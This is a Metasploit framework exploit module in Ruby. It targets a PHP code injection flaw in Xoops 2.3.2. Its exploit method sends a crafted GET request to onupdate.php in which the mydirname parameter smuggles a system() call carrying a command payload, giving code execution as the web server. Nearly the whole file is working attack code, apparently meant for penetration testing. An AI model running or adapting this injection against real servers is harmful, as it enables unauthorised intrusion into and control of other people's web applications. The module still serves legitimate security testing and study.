##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Xoops 2.3.2 mydirname Parameter Remote Code Injection",
			'Description'    => %q{
					This module exploits a vulnerability found in Xoops
				When input is passed to the onupdate.php file's mydirname paramater,
				it is not sanitized before being evaluated by the PHP interpreter.
				This leads to arbritary code execution under the context of the webserver.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'infodox <infodox[at]insecurety.net>',
				],
			'References'     =>
				[
					['URL', 'http://secunia.com/advisories/33435/']
				],
			'Payload'        =>
				{
					'Compat' =>
					{
						'ConnectionType' => 'find',
						'PayloadType'    => 'cmd',
						'RequiredCmd'    => 'generic perl ruby bash telnet python'
					}
				},
			'Platform'       => ['unix', 'linux'],
			'Targets'        =>
				[
					['Xoops 2.3.2', {}]
				],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'DefaultTarget'  => 0))

		register_options(
			[
				OptString.new('TARGETURI', [true, 'The path to the web application', '/xoops/'])
			], self.class)
	end

	def exploit
		target_uri.path << '/' if target_uri.path[-1,1] != '/'

		print_status("#{rhost}#{rport} - Sending request...")
		res = send_request_cgi({
			'method'   => 'GET',
			'uri'      => "#{target_uri.path}xoops_lib/modules/protector/onupdate.php",
			'vars_get' => {
				'mydirname' => "a(){}system(%27#{payload.encoded}%27);%20function%20v"
			}
		})

		handler
	end
end
